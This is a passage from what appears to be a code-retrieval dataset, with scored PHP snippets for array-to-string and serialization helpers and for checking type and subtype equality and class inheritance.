\"UserSelection\")){\n\t\t\t\t$st.=$this->arrayToString($value->getFiles());\n\t\t\t}\n\t\t\t\n\t\t\tif($index < count($params)){\n\t\t\t\tif(is_numeric($key)){\n\t\t\t\t\t$st.=\",\";\n\t\t\t\t}else{\n\t\t\t\t\t$st.=\";\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $st;\n\t\t\n\t}", "title": "" }, { "docid": "5a97f439f563d7830fa8d12e23ad9174", "score": "0.5409322", "text": "public function __toString() {\n return json_encode($this->toArray(), 128);\n }", "title": "" }, { "docid": "11e12ed7f2605e6fa500c29c031d19e0", "score": "0.5407201", "text": "public abstract function toArray();", "title": "" }, { "docid": "11e12ed7f2605e6fa500c29c031d19e0", "score": "0.5407201", "text": "public abstract function toArray();", "title": "" }, { "docid": "6ed451d8a6bdef072880f1e3c13dd10b", "score": "0.540519", "text": "public function jsonSerialize(): array\n {\n $out = [];\n // marshal fields\n foreach ((array)$this as $field => $value) {\n // marshal dynamically defined fields\n // todo: this is crap.\n if (substr($field, -4) === '_dyn') {\n if ([] !== $value) {\n foreach ($value as $k => $v) {\n $this->marshalField($out, $k, $v);\n }\n }\n } else {\n $this->marshalField($out, $field, $value);\n }\n }\n return $out;\n }", "title": "" }, { "docid": "78f74785425f24effbd2d1a7ee3a3276", "score": "0.5404701", "text": "public function to_array() {}", "title": "" }, { "docid": "b645aca825570a190d72fb480e9d3510", "score": "0.5403598", "text": "public function toArray()\n\t{\n\t\treturn $this->recordData;\n\t}", "title": "" }, { "docid": "6bec4d640bca44e9fd5d8a04846f3bca", "score": "0.54027796", "text": "function print_array($array)\r\n{\r\n\tob_start();\r\n\t\r\n\tprint_r($array);\r\n\t$output = '<pre>';\r\n\t$output .= str_replace(\"\\n\", \"<br>\", addslashes(ob_get_contents()));\r\n\tob_end_clean();\r\n\t$output .= '</pre>';\r\n\treturn($output);\r\n}", "title": "" }, { "docid": "3991c4799279b79037223d5b22f53c85", "score": "0.5401802", "text": "function dumpArray($array)\r\n{\r\n\tif(is_array($array))\r\n\t{\r\n\t\t$size = count($array);\r\n\t\t$string = '';\r\n\t\tif($size)\r\n\t\t{\r\n\t\t\t$count = 0;\r\n\t\t\t$string .= '{ ';\r\n\t\t\t// add each element's key and value to the string\r\n\t\t\tforeach($array as $var => $value)\r\n\t\t\t{\r\n\t\t\t\t$string .= \"$var = $value\";\r\n\t\t\t\tif($count++ < ($size-1))\r\n\t\t\t\t{\r\n\t\t\t\t\t$string .= ', ';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$string .= ' }';\r\n\t\t}\r\n\t\treturn $string;\r\n\t}\r\n\telse\r\n\t{\r\n\t\t// if it is not an array, just return it\r\n\t\treturn $array;\r\n\t}\r\n}", "title": "" }, { "docid": "94ec8b639c2ca3deef1e0a5d035f3bce", "score": "0.5401347", "text": "function returnArrayToString( $array ){\n\tob_start();\n\tvar_dump($array);\n\t$array = ob_get_clean();\n\treturn $array;\n}", "title": "" }, { "docid": "a7f2dbabdc3ba5399da54fe07b13b85f", "score": "0.5397954", "text": "abstract function toArray();", "title": "" }, { "docid": "43c6b9ddc570d8db97652eba515b1b60", "score": "0.53860146", "text": "private function toCREATEArray($idEntity, $entityType, $records) {\r\n\t\t$result = \"\";\r\n\t\t\r\n\t\tforeach ( $records as $property => $values )\r\n\t\t\tforeach ( $values as $value ) {\r\n\t\t\t\tif (! empty ( $result ))\r\n\t\t\t\t\t$result .= \", \";\r\n\t\t\t\t\r\n\t\t\t\t$result .= ($property == null) ? \"(NULL, \" : \"('\" . $property . \"', \";\r\n\t\t\t\t\r\n\t\t\t\tif (! array_key_exists ( 'new', $value ))\r\n\t\t\t\t\t$result .= \"NULL\";\r\n\t\t\t\telse {\r\n\t\t\t\t\t$result .= \"('\" . $value ['new'] ['type'] . \"', \";\r\n\t\t\t\t\t\r\n\t\t\t\t\tif (isset ( $value ['new'] ['class'] ))\r\n\t\t\t\t\t\t$result .= \"'$value ['new'] ['class']', \";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$result .= \"NULL, \";\r\n\t\t\t\t\t\r\n\t\t\t\t\t$result .= \"'\" . $value ['new'] ['value'] . \"', \";\r\n\t\t\t\t\t\r\n\t\t\t\t\tif (isset ( $value ['new'] ['lang'] ))\r\n\t\t\t\t\t\t$result .= \"'$value ['new'] ['lang']', \";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$result .= \"NULL, \";\r\n\t\t\t\t\t\r\n\t\t\t\t\tif (isset ( $value ['new'] ['datatype'] ))\r\n\t\t\t\t\t\t$result .= \"'$value ['new'] ['datatype']')\";\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$result .= \"NULL)\";\r\n\t\t\t\t\t\r\n\t\t\t\t\t$result .= \"::RDF_OBJECT\";\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$result .= \")::DTIONARY\";\r\n\t\t\t}\r\n\t\t\r\n\t\t$result = \", ARRAY[$result])::TINSERT]\";\r\n\t\t\r\n\t\tif (isset ( $entityType ))\r\n\t\t\t$result = \"'$entityType'\" . $result;\r\n\t\telse\r\n\t\t\t$result = \"NULL\" . $result;\r\n\t\t\r\n\t\t$result = \"ARRAY[('$idEntity', \" . $result;\r\n\t\t\r\n\t\treturn $result;\r\n\t}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.5382109", "text": "public function toArray() {}", "title": "" }, { "docid": "f9bc7c6a50bbd0d2bdea5ed843910891", "score": "0.5382109", "text": "public function toArray() {}", "title": "" }, { "docid": "e1429838d0a647f800010d0f44c22b43", "score": "0.5380134", "text": "public function export_array(){\n \n // Return all internal field fields in array format\n return array(\n 'battle_id' => $this->battle_id,\n 'battle_token' => $this->battle_token,\n 'field_id' => $this->field_id,\n 'field_name' => $this->field_name,\n 'field_token' => $this->field_token,\n 'field_type' => $this->field_type,\n 'field_group' => $this->field_group,\n 'field_multipliers' => $this->field_multipliers,\n 'field_mechas' => $this->field_mechas,\n 'field_description' => $this->field_description,\n 'field_background' => $this->field_background,\n 'field_foreground' => $this->field_foreground,\n 'field_background_attachments' => $this->field_background_attachments,\n 'field_foreground_attachments' => $this->field_foreground_attachments,\n 'field_music' => $this->field_music,\n 'field_base_name' => $this->field_base_name,\n 'field_base_token' => $this->field_base_token,\n 'field_base_type' => $this->field_base_type,\n 'field_base_multipliers' => $this->field_base_multipliers,\n 'field_base_description' => $this->field_base_description,\n 'field_base_background' => $this->field_base_background,\n 'field_base_foreground' => $this->field_base_foreground,\n 'field_base_background_attachments' => $this->field_base_background_attachments,\n 'field_base_foreground_attachments' => $this->field_base_foreground_attachments,\n 'field_base_music' => $this->field_base_music,\n 'flags' => $this->flags,\n 'counters' => $this->counters,\n 'values' => $this->values,\n 'history' => $this->history\n );\n \n }", "title": "" }, { "docid": "0f83286a8f1fb808313205c6db71e375", "score": "0.5374533", "text": "public static function toJson($array){\n\t\t return json_encode($array);\n }", "title": "" }, { "docid": "c6e12d24879b0dab6beb77fbfb1d2234", "score": "0.5373397", "text": "public function toDefinition(): array;", "title": "" }, { "docid": "8888d20edb5271752bd3c8f756eb0387", "score": "0.5360855", "text": "public function to_array();", "title": "" }, { "docid": "ef0a755ab225036a03f784ab20777d5b", "score": "0.53608537", "text": "function array_to_string($array)\n\t\t{\n\t\t\t$s = '';\n\t\t\tforeach ($array as $line) {\n\t\t\t\t$s .= $line . \"\\n\";\n\t\t\t}\n\t\t\treturn $s;\n\t\t}", "title": "" }, { "docid": "36b9b237354ba7fbaf39edd8418e1072", "score": "0.53559107", "text": "abstract public function asArray(): array;", "title": "" }, { "docid": "bc63960ae36c7cb38fdabc3a0f6c4bc3", "score": "0.5353779", "text": "public function toArray()\n\t{\n\t\tif ($this->getEncoding() === 'UTF-8' && function_exists('utf8_str_split')) {\n\t\t\t\t$array = utf8_str_split($this->data, 1);\n\t\t} else\n\t\t\t$array = str_split($this->data, 1);\n\t\t\n\t\treturn wrap($array);\n\t}", "title": "" }, { "docid": "ed0036a46427a3bf30b582011c41a740", "score": "0.53353024", "text": "function soap_encode_array($value, $name, $type, $namespace) {\n return $value;\n }", "title": "" }, { "docid": "7a3a0330c1abdb58df04ae969c7a5fb4", "score": "0.5334762", "text": "private function array_to_jsarray($array = array()) {\n if ((bool)!$array) {\n return '[]';\n }\n\n $return = NULL;\n foreach ($array as $k => $v) {\n if (is_array($v)) {\n $return .= ',' . $this->array_to_jsarray($v);\n } else {\n if (is_string($v)) {\n $return .= \",'\" . addslashes($v) . \"'\";\n } else {\n $return .= \",\" . $v;\n }\n }\n }\n\n return '[' . trim($return, ',') . ']';\n }", "title": "" }, { "docid": "c99f1364382eb7097e260bd70c8c7662", "score": "0.53287107", "text": "static function getArrayFields(): array;", "title": "" }, { "docid": "70ee79e81b1c71ce0977b7e707ee457d", "score": "0.5326955", "text": "protected function compileArrayForPhp($array, $assoc = false) {\n $entries = collect($array)->map(function($value, $key) use($assoc) {\n if ($assoc) {\n return $this->compileValueForPhp($key) . ' => ' . $this->compileValueForPhp($value);\n }\n\n return $this->compileValueForPhp($value);\n });\n\n return '[' . $entries->implode(', ') . ']';\n }", "title": "" }, { "docid": "11f689d8e4eb5229d8bdecc73a5443d7", "score": "0.5323412", "text": "function convert_tab_php($tabPHP, $tabJS) {\n echo $tabJS.\" = new Array();\\n\";\n for($i = 0; $i < count($tabPHP); $i++) {\n if(!is_array($tabPHP[$i])) {\n echo $tabJS.\"[\".$i.\"] = '\".$tabPHP[$i].\"';\\n\"; }\n else {\n convert_tab_php($tabPHP[$i], $tabJS.\"[\".$i.\"]\"); } }\n\n return;\n}", "title": "" }, { "docid": "12e42c2f37ef5e00f1d06dba73927da1", "score": "0.53196496", "text": "function printArray($data){\n\techo \"<pre>\".print_r($data,true).\"</pre>\";\n}", "title": "" }, { "docid": "49d953cb668ade691f05013fead1b2e3", "score": "0.5318702", "text": "abstract public function toArray();", "title": "" }, { "docid": "49d953cb668ade691f05013fead1b2e3", "score": "0.5318702", "text": "abstract public function toArray();", "title": "" }, { "docid": "601a61cce96daa7832caadb04213806b", "score": "0.53159136", "text": "protected function _deflate($arr)\n\t{\n\t\t$output = 'Array( ' . \"\\n\";\n\t\t$a = array();\n\t\tforeach ($arr as $key => $val)\n\t\t{\n\t\t\tif (is_array($val))\n\t\t\t{\n\t\t\t\t$a[] = \"\\t\" . $key . ' => ' . $this->_deflate($val);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$a[] = \"\\t\" . $key . ' => ' . htmlentities($val, ENT_COMPAT, 'UTF-8') . '';\n\t\t\t}\n\t\t}\n\t\t$output .= implode(\", \\n\", $a) . \"\\n\" . ' )' . \"\\n\";\n\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "dfc6613693b21fd3a6c1937270e67142", "score": "0.5315477", "text": "function arrayToJsArray( $array, $name, $nl = \"\\n\", $encoding = false )\n{\tif (is_array($array))\n\t{\t$jsArray = $name . ' = new Array();'.$nl;\n\t\tforeach($array as $key => $value)\n\t\t{\tswitch (gettype($value))\n\t\t\t{\tcase 'unknown type':\n\t\t\t\tcase 'resource':\n\t\t\t\tcase 'object':\tbreak;\n\t\t\t\tcase 'array':\t$jsArray .= arrayToJsArray($value,$name.'['.valueToJsValue($key, $encoding).']', $nl);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\tcase 'NULL':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = null;'.$nl;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\tcase 'boolean':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = '.($value ? 'true' : 'false').';'.$nl;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\tcase 'string':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = '.valueToJsValue($value, $encoding).';'.$nl;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\tcase 'double':\n\t\t\t\tcase 'integer':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = '.$value.';'.$nl;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\tdefault:\ttrigger_error('Hoppa, egy j ERROR a PHP-ben?'.__CLASS__.'::'.__FUNCTION__.'()!', E_USER_WARNING);\n\t\t\t}\n\t\t}\n\t\treturn $jsArray;\n\t}\n\telse\n\t{\treturn false;\t}\n}", "title": "" } ]
2bc2edf5ca00d8a32429b506c0c20584
check if subtypes are the same
[ { "docid": "87e65f701470396dc2252e1a285f1263", "score": "0.0", "text": "protected function simplifyComplexTypes(int $type): Type\n {\n $subTypes = $this->subTypes;\n\n foreach ($subTypes as $key => $subType) {\n $subTypes[$key] = $subType = $subType->simplify();\n if ($subType->type === $type) {\n // we can combine the unions!!!\n $start = array_slice($subTypes, 0, $key);\n $end = array_slice($subTypes, $key + 1);\n return (new self($type, null, ...$start, ...$subType->subTypes, ...$end))->simplify();\n }\n }\n $this->subTypes = $subTypes;\n\n $first = array_pop($subTypes);\n foreach ($subTypes as $subType) {\n if ($first->equals($subType)) {\n if (count($subTypes) > 1) {\n // Drop duplicate and simplify\n return (new self($type, null, ...$subTypes))->simplify();\n } else {\n // A union of 1 is just the child\n return $first;\n }\n }\n }\n return $this;\n }", "title": "" } ]
[ { "docid": "19cd84660697d31a25f5c1d8b511be57", "score": "0.59695876", "text": "static function uniqueTypesCheck($a_items)\n\t{\n\t\t$types = array();\n\t\tif (is_array($a_items))\n\t\t{\n\t\t\tforeach($a_items as $item)\n\t\t\t{\n\t\t\t\t$type = ilSCORM2004Node::_lookupType($item);\n\t\t\t\t$types[$type] = $type;\n\t\t\t}\n\t\t}\n\n\t\tif (count($types) > 1)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "eaeba05e98ac76278f90533046e43987", "score": "0.58959013", "text": "function selectedSubtypes ($instance,$all) {\n if (!$all){\n $groups = array ();\n $subtypes = $this->subtypes();\n\t\t\t // $subtypes: all names of subtypes\n\t\t\t foreach ($subtypes as $type){\n\t\t\t\t // compares the user marked subtypes, if TRUE, save the subtype.\n\t\t\t\t if ('on' == $instance [$type]) {\n array_push($groups, $type);\n\t\t\t\t }\n\t\t\t }\n return $groups;\n }\n return false; \n }", "title": "" }, { "docid": "9b71f5d000ec84e056802e6c918e9345", "score": "0.5887389", "text": "abstract function isValidParentType($a_type);", "title": "" }, { "docid": "bf14c6c4378a7c9da33c66a41eadf501", "score": "0.5702", "text": "public function shouldBeReplacedBySpecificTypes(): bool\n {\n // Could check for final classes such as stdClass here, but not much of a reason to.\n return true;\n }", "title": "" }, { "docid": "6a20d73495f7de414119c1d5f0285baf", "score": "0.56340057", "text": "public function hasSameNamespaceAndName(Type $type): bool\n {\n return $this->name === $type->name && $this->namespace === $type->namespace;\n }", "title": "" }, { "docid": "4f7687dd5b213f5ec49be48d6616a4b9", "score": "0.5547252", "text": "public function hasType () {}", "title": "" }, { "docid": "234a6facf9a468808eb2d0ff5756d375", "score": "0.5514342", "text": "public function get_object_subtypes()\n {\n }", "title": "" }, { "docid": "1d645a4c222abc6a28560ce3dd6c4ac4", "score": "0.54797894", "text": "public function isSuperTypeOf(Type $type): \\PHPStan\\TrinaryLogic\n\t{\n\t}", "title": "" }, { "docid": "73ed2b4ce89f1b993dadec57db456b8a", "score": "0.54650295", "text": "public function resolves(Type $other): bool\n {\n if ($this->equals($other)) {\n // invariant\n return true;\n }\n if ($this->type === self::INTERSECTION) {\n // Only one branch needs to resolve\n foreach ($this->subTypes as $subType) {\n if ($subType->resolves($other)) {\n return true;\n }\n }\n return false;\n } elseif ($this->type === self::UNION) {\n // all branches must resolve\n foreach ($this->subTypes as $subType) {\n if (!$subType->resolves($other)) {\n return false;\n }\n }\n return true;\n } elseif ($other->type === self::INTERSECTION) {\n // Other is an intersection, all must resolve\n foreach ($other->subTypes as $subType) {\n if (!$this->resolves($subType)) {\n return false;\n }\n }\n return true;\n } elseif ($other->type === self::UNION) {\n // Other is a union, only one must resolve\n foreach ($other->subTypes as $subType) {\n if ($this->resolves($subType)) {\n return true;\n }\n }\n return false;\n } elseif ($this->type === self::INT && $other->type === self::FLOAT && $other->value === null) {\n // special case where int widens to float\n return true;\n } elseif ($this->type === $other->type || ($this->type === self::INT && $other->type === self::FLOAT)) {\n // check for variant sub-types\n if ($this->value !== null && $other->value === null) {\n // You can expand values into their base type\n return true;\n } elseif ($other->value !== null) {\n // You can't narrow types\n return false;\n }\n if ($this->type & (self::POINTER | self::ARRAY)) {\n return $this->subTypes[0]->resolves($other->subTypes[0]);\n }\n throw new \\LogicException(\"Not implemented yet, need to check sub-types and values for: \" . $this->toString() . \" and \" . $other->toString());\n }\n return false;\n }", "title": "" }, { "docid": "24b983958796580a8a09fa999c66abf9", "score": "0.54568636", "text": "public function testPackageAcceptsTheSameTypeOnlyOneTime()\n {\n $namespace = new ASTNamespace('foo');\n $class = new ASTClass('Bar');\n\n $namespace->addType($class);\n $namespace->addType($class);\n\n $this->assertEquals(1, count($namespace->getClasses()));\n }", "title": "" }, { "docid": "f3318aff5c5d8e264144ffc37efba47d", "score": "0.5448845", "text": "public function hasType(){\r\n return $this->_has(2);\r\n }", "title": "" }, { "docid": "f3318aff5c5d8e264144ffc37efba47d", "score": "0.5448845", "text": "public function hasType(){\r\n return $this->_has(2);\r\n }", "title": "" }, { "docid": "f3318aff5c5d8e264144ffc37efba47d", "score": "0.5448845", "text": "public function hasType(){\r\n return $this->_has(2);\r\n }", "title": "" }, { "docid": "a618df209338b08d05a2398166fa76b8", "score": "0.54284894", "text": "public function equals(Type $type): bool\n\t{\n\t}", "title": "" }, { "docid": "81f4d05c9b8b2598d72079ce3d7aee53", "score": "0.54129267", "text": "public function hasType(){\n return $this->_has(2);\n }", "title": "" }, { "docid": "81f4d05c9b8b2598d72079ce3d7aee53", "score": "0.54129267", "text": "public function hasType(){\n return $this->_has(2);\n }", "title": "" }, { "docid": "81f4d05c9b8b2598d72079ce3d7aee53", "score": "0.54129267", "text": "public function hasType(){\n return $this->_has(2);\n }", "title": "" }, { "docid": "9324dc442e27b9566c571b0692d10c73", "score": "0.5377563", "text": "public function testCollectionClassInheritance()\n {\n $this->assertTrue($this->writers_collection_reflection->isSubclassOf(\"{$this->namespace}Collection\\\\Base\\\\Writers\"));\n $this->assertTrue($this->books_collection_reflection->isSubclassOf(\"{$this->namespace}Collection\\\\Base\\\\Books\"));\n $this->assertTrue($this->chapters_collection_reflection->isSubclassOf(\"{$this->namespace}Collection\\\\Base\\\\Chapters\"));\n }", "title": "" }, { "docid": "9017517dda37d2c7d3e0c099fb6e8481", "score": "0.5312993", "text": "public function equals(Type $file_type)\n\t{\n\t\treturn ($file_type->type === $this->type) && ($file_type->subtype === $this->subtype);\n\t}", "title": "" }, { "docid": "037b68336d7862826afb16b8cadb553c", "score": "0.5308204", "text": "public function canPossiblyCastToClass(CodeBase $code_base, Type $other): bool\n {\n if (!$this->isPossiblyObject()) {\n return false;\n }\n if ($other instanceof IterableType && !$this->isPossiblyIterable($code_base)) {\n return false;\n }\n // Check if either side is something we don't know about, e.g. `object`, `iterable`, etc.\n if (!$this->isObjectWithKnownFQSEN()) {\n return true;\n }\n if (!$other->isObjectWithKnownFQSEN()) {\n return true;\n }\n\n if ($other->asExpandedTypes($code_base)->hasType($this) || $this->asExpandedTypes($code_base)->hasType($other)) {\n // This is a subtype of $other, or vice-versa\n return true;\n }\n $this_fqsen = FullyQualifiedClassName::fromType($this);\n if (!$code_base->hasClassWithFQSEN($this_fqsen)) {\n return true;\n }\n $this_class = $code_base->getClassByFQSEN($this_fqsen);\n\n $other_fqsen = FullyQualifiedClassName::fromType($other);\n if (!$code_base->hasClassWithFQSEN($other_fqsen)) {\n return true;\n }\n $other_class = $code_base->getClassByFQSEN($other_fqsen);\n\n if ($this_class->isFinal() || $other_class->isFinal()) {\n // If at least one class is final (and the other is a trait/interface), we already confirmed there's nothing in common.\n return false;\n }\n if (($this_class->isClass() || $this->isThrowableInterface()) &&\n ($other_class->isClass() || $other->isThrowableInterface())) {\n // So now we have two classes or interfaces that are only implemented by a sealed set of classes.\n // We already know that their expanded types don't overlap from checking asExpandedTypes, so there's no possible common subtype.\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "4e529291933bdb6f53b359ec0c959b78", "score": "0.52667195", "text": "private function hasSubClasses($entityMetaType){\n\n\t\treturn !(count($entityMetaType->subClasses) === 0);\n\n\t}", "title": "" }, { "docid": "88b628ecca08e15f52b34fe68233a131", "score": "0.525314", "text": "private static function isSuperType ($super, $type) {\n $super = EasyRdf_Namespace::expand($super);\n $type = EasyRdf_Namespace::expand($type);\n \n if ($super == $type) {\n return true;\n }\n \n $typeSuper = isset(self::$inheritanceGraph[$type])\n ? self::$inheritanceGraph[$type]\n : null;\n \n if (!$typeSuper) {\n return false;\n } else if ($typeSuper == $super) {\n return true;\n } else {\n return self::isSuperType($super, $typeSuper);\n }\n }", "title": "" }, { "docid": "b65bbce35740a5f7aefee3f7c0876b2c", "score": "0.5225367", "text": "public function isType($type) {}", "title": "" }, { "docid": "538439c5372360cb89eefe5ba78bbbda", "score": "0.5225215", "text": "public function hasType(){\r\n return $this->_has(1);\r\n }", "title": "" }, { "docid": "dd86c81059a5e36b79264249ec484753", "score": "0.5204314", "text": "public function isType(){}", "title": "" }, { "docid": "d40bf70dac81ff6274673f50e79f99a8", "score": "0.51956904", "text": "public function _subclass_isEqualNode(Node $node): bool\n {\n // Node.isEqualNode() will test their children for equality\n return true;\n }", "title": "" }, { "docid": "6e2ea2b94ff40882fad675dfd98df246", "score": "0.51933587", "text": "public function equals($other): bool\n {\n if ($other instanceof Type) {\n return $this->getName() == $other->getName();\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "3163e49a6077aa9c8b06eb75a192a4e5", "score": "0.51817673", "text": "function righttype($utype, $type){\n\tfor ($i=0; $i < 4; $i++) { \n\t\tif(strcmp($utype[$i], $type[$i])==0){\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "276ee4d2aebd1b9499b92b81d4139b82", "score": "0.51807535", "text": "private function _verifyObject($value) {\n $parent = get_class();\n if ($parent !== get_parent_class($value)) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "c8a0bdabde3c292bc17d6ba521e8303c", "score": "0.5179692", "text": "public function sameModels($objModel1 , $objModel2)\n\t{\n\t\t$objNative1 = $objModel1->getItem();\n\t\t$objNative2 = $objModel2->getItem();\n\t\tif ($objNative1->getMetaModel() != $objNative2->getMetaModel())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\tforeach ($objNative1->getMetaModel()->getAttributes() as $objAttribute)\n\t\t{\n\t\t\tif ($objNative1->get($objAttribute->getColName()) != $objNative2->get($objAttribute->getColName()))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "f87643e357b2109e66966195542f872a", "score": "0.5175588", "text": "function checkInheritance($fieldConfig) {\n\t\t\t// check for templavoila configuration\n\t\t$return = is_array($fieldConfig['tx_templavoila']);\n\t\t\t// check if type is ce\n\t\t$return &= $fieldConfig['tx_templavoila']['eType'] == 'ce';\n\t\t\t// check for content slide call in the typoscript\n\t\t$return &= strpos($fieldConfig['tx_templavoila']['TypoScript'], 'tx_kbtvcontslide_pi1->main') !== FALSE;\n\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "793e13cc0ffc0c3b37793848cf47946b", "score": "0.5175525", "text": "public function isTemplateSubtypeOf(Type $type): bool\n {\n if ($this->name !== $type->name || $this->namespace !== $type->namespace) {\n return false;\n }\n return \\count($this->template_parameter_type_list) > 0;\n }", "title": "" }, { "docid": "cabc2ac1a8c7cc4fa7ef610c03bff646", "score": "0.5167614", "text": "public function hasType(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "cabc2ac1a8c7cc4fa7ef610c03bff646", "score": "0.5167614", "text": "public function hasType(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "cabc2ac1a8c7cc4fa7ef610c03bff646", "score": "0.5167614", "text": "public function hasType(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "cabc2ac1a8c7cc4fa7ef610c03bff646", "score": "0.5167614", "text": "public function hasType(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "cabc2ac1a8c7cc4fa7ef610c03bff646", "score": "0.5167614", "text": "public function hasType(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "cabc2ac1a8c7cc4fa7ef610c03bff646", "score": "0.5167614", "text": "public function hasType(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "35be17442ec9c4c485238dd9a5022b63", "score": "0.5145398", "text": "public function testFixtureRecordsWithSameType()\n {\n \n $data = $this->Orgteam->find()->where(['teamname' => 'Evac1']);\n $this->assertEquals(1, $data->count());\n\n }", "title": "" }, { "docid": "6070eddb520ee95a305e3efa989edb5a", "score": "0.5140958", "text": "protected function _isAssumeParentAndRealParentMismatch($parent)\n {\n return (is_object($parent) && $parent->getNameInLayout() != $this->_getAssumedParentNameFromStack());\n }", "title": "" }, { "docid": "398ba1101b0d3ab2af18150f246e22d7", "score": "0.5108399", "text": "static public function isCompatible($boxType, $parent) {\n\t\treturn $boxType == 0x6D657461;\n\t}", "title": "" }, { "docid": "8feebc997ca4357137a78370e8ccc584", "score": "0.50846064", "text": "public function hasType(){\n return $this->_has(6);\n }", "title": "" }, { "docid": "b20c930016bfda17c93943332a36edce", "score": "0.5075778", "text": "public function isTypeCompatible(Type $type)\n {\n return $this->isGroupIDCompatible($type->getGroupID());\n }", "title": "" }, { "docid": "20c3c9098e8c37ba1e95f396e8595b3b", "score": "0.50685656", "text": "public function is($type)\n\t{\n\t\tif ($type instanceof Type) {\n\t\t\treturn $this->equals($type);\n\t\t}\n\t\telseif (strpos(SL, $type)) {\n\t\t\treturn ($type === strval($this));\n\t\t}\n\t\telse {\n\t\t\tself::initExtensionsTypes();\n\t\t\tif (isset(self::$extensions_types[$type])) {\n\t\t\t\treturn (self::$extensions_types[$type] === strval($this));\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn ($this->type === $type) || ($this->subtype === $type)\n\t\t\t\t\t|| (($type === 'x') && (strpos($this->subtype, 'x-') === 0))\n\t\t\t\t\t|| (($type === 'vnd') && (strpos($this->subtype, 'vnd.') === 0));\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "7d694807d09f9ed568830d5a091cff3e", "score": "0.5066285", "text": "public function hasStaticOrSelfTypesRecursive(CodeBase $code_base): bool\n {\n // TODO: Check template types?\n return false;\n }", "title": "" }, { "docid": "2d91ea53cbec33961eb9906dcdcd4093", "score": "0.50457907", "text": "public function isGeneric();", "title": "" }, { "docid": "69f217cdbd5ad56fc4cec1e49335175c", "score": "0.5040218", "text": "public function hasType(){\n return $this->_has(3);\n }", "title": "" }, { "docid": "cd3b2fdb71f07a03dd432f402507898c", "score": "0.5038003", "text": "public function acceptsDataStructure($type)\n {\n return $type == Tesseract::RECORDSET_STRUCTURE_TYPE;\n }", "title": "" }, { "docid": "f6e5a2f5d3ab7b13335bd97df1bd8b54", "score": "0.50373995", "text": "public function isComplexType(): bool\n {\n return in_array($this->getAttribute()->getFrontendInput(), ['select', 'multiselect'], true)\n || $this->getAttribute()->usesSource();\n }", "title": "" }, { "docid": "cb268a8ee4d81374d00cc33f20cff3f6", "score": "0.5036112", "text": "function TestIsSingle($object)\n\t{\n\t\t$attribute_types = $object->pog_attribute_type;\n\n\t\t//get all child classes\n\t\t$childrenList = array();\n\t\tforeach ($attribute_types as $key => $attribute_array)\n\t\t{\n\t\t\tif ($attribute_array['db_attributes'][1] == \"HASMANY\")\n\t\t\t{\n\t\t\t\t$childrenList[] = $key;\n\t\t\t}\n\t\t}\n\n\t\t//get all parent classes\n\t\t$parentsList = array();\n\t\tforeach ($attribute_types as $key => $attribute_array)\n\t\t{\n\t\t\tif ($attribute_array['db_attributes'][1] == \"BELONGSTO\")\n\t\t\t{\n\t\t\t\t$parentsList[] = $key;\n\t\t\t}\n\t\t}\n\n\t\t//get all associations\n\t\t$associationsList = array();\n\t\tforeach ($attribute_types as $key => $attribute_array)\n\t\t{\n\t\t\tif ($attribute_array['db_attributes'][1] == \"JOIN\")\n\t\t\t{\n\t\t\t\t$associationsList[] = $key;\n\t\t\t}\n\t\t}\n\n\t\tif (sizeof($childrenList) == 0 && sizeof($parentsList) == 0 && sizeof($associationsList) == 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "0760f2cad6b503853f4f6d87e3141669", "score": "0.5030541", "text": "public function testSimpleTypeElementWhenAddedToUnionElement(): void\n {\n $parent = new UnionElement();\n $parent->addSimpleTypeElement($this->sut);\n self::assertTrue($this->sut->hasParent());\n self::assertSame($parent, $this->sut->getParent());\n }", "title": "" }, { "docid": "dd944bbf650e80059ffc1242eb98e30c", "score": "0.50276023", "text": "protected function isSubformField() {\n \treturn (!empty($this->fieldConfiguration['parentTableName']));\t\n }", "title": "" }, { "docid": "260d82e93c278a074130b26afb5d73a1", "score": "0.5011671", "text": "public abstract function validateType($item);", "title": "" }, { "docid": "315a6c851f0656b4bf9c6631ba971616", "score": "0.5005728", "text": "function _check_id_match($commandr_fs_ob, $resource_type, $resource_id, $subpath)\n{\n if ($subpath === null) {\n return true;\n } else {\n $this_subpath = $commandr_fs_ob->search($resource_type, $resource_id, true);\n if (substr($subpath, -2) == '/*') {\n if (substr($this_subpath . '/', 0, strlen($subpath) - 1) == substr($subpath, 0, strlen($subpath) - 1)) {\n return true;\n }\n } else {\n if ($this_subpath == $subpath) {\n return 